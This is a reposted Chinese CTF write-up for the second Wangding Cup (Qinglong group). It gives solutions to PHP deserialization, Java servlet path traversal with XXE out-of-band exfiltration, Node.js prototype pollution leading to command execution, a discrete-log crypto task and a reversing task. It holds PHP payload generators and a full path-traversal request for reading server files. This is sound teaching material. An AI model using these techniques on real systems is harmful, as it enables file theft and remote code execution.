转载

第二届网鼎杯(青龙组)部分wp

第二届网鼎杯(青龙组)部分wp

记录下第二届网鼎杯青龙组的部分wp

AreUSerialz

比较简单的一道反序列化题。

因为类中有protected属性,所以要先绕过is_valid

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

因为php7.1+对类属性的检测不严格,所以这里可以直接用public来写payload.

接着我们要读取文件,得让$op为2,这里利用php的弱比较,直接让$op=2绕过。

然后就是题目只能通过绝对路径来读取文件,这里有三种解法:

第一种应该是非预期,将content属性改为private可以通过相对路径读到flag.php

<?php
class FileHandler {

    public $op=2;
public $filename="flag.php";
private $content;

}    
$a=new FileHandler;
echo (serialize($a));

?>

第二种是通过网站的报错,查看docker的web路径。

第二届网鼎杯(青龙组)部分wp

第二届网鼎杯(青龙组)部分wp

第三者是读取当前进程的cmdline

<?php
class FileHandler {

    public $op=2;
public $filename="/proc/self/cmdline";
public $content;

}    
$a=new FileHandler;
echo (serialize($a));

?>

第二届网鼎杯(青龙组)部分wp

最后通过绝对路径读flag

<?php
class FileHandler {

    public $op=2;
public $filename="/web/html/flag.php";
public $content;

}    
$a=new FileHandler;
echo (serialize($a));

?>

filejava

一个简单的Servlet上传和下载功能。在下载功能处存在任意文件下载。

第二届网鼎杯(青龙组)部分wp

通过报错来获得网站的绝对路径

第二届网鼎杯(青龙组)部分wp

然后java题,一般是读取web.xml

第二届网鼎杯(青龙组)部分wp

然后根据web.xml读取class文件。规律是将包名换成路径,然后在/WEB-INF/classes/下。比如这里读取UploadServlet

/file_in_java/DownloadServlet?filename=../../../../../../.././../../..//usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

将所有的class文件下载下来之后,进行反编译,然后审计代码。

一共三个servlet,大概就是列出目录下的文件,下载文件,还有就是上传文件。

这里还限制了直接读取flag.

第二届网鼎杯(青龙组)部分wp

继续审计,发现这里会对xlxs文件进行处理,可能存在xxe漏洞。

第二届网鼎杯(青龙组)部分wp

参靠文章 https://xz.aliyun.com/t/7272#toc-9

结合 xxe外带出flag

第二届网鼎杯(青龙组)部分wp

第二届网鼎杯(青龙组)部分wp

这里记得文件名前面要加excel-

notes

nodejs题,可以直接下载源码审计

首先来看下undefsafe库

第二届网鼎杯(青龙组)部分wp

题目的本意是用来改变列表中属性的值。这里存在原型链污染漏洞。

第二届网鼎杯(青龙组)部分wp

接着在源码中寻找原型污染利用的地方,发现

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

如果我们能给commands数组添加我们自己想要执行的代码,则可以rce

第二届网鼎杯(青龙组)部分wp

这里因为对数组进行了遍历,所以我们污染object,遍历的时候是会遍历到数组的原型即object的属性。

现在我们思路就很清晰了

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

通过路由/edit_note 污染原型链,然后访问/status触发payload

第二届网鼎杯(青龙组)部分wp

第二届网鼎杯(青龙组)部分wp

you raise me up

from Crypto.Util.number import *
import random

n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)
print 'm = ' + str(m)
print 'c = ' + str(c)

简单的离散对数。可以直接用sagemath网站来求

第二届网鼎杯(青龙组)部分wp

第二届网鼎杯(青龙组)部分wp

第二届网鼎杯(青龙组)部分wp

boom

运作.exe输入正确的数即可。

第二届网鼎杯(青龙组)部分wp

原文  https://www.anquanke.com/post/id/204856
正文到此结束
Loading...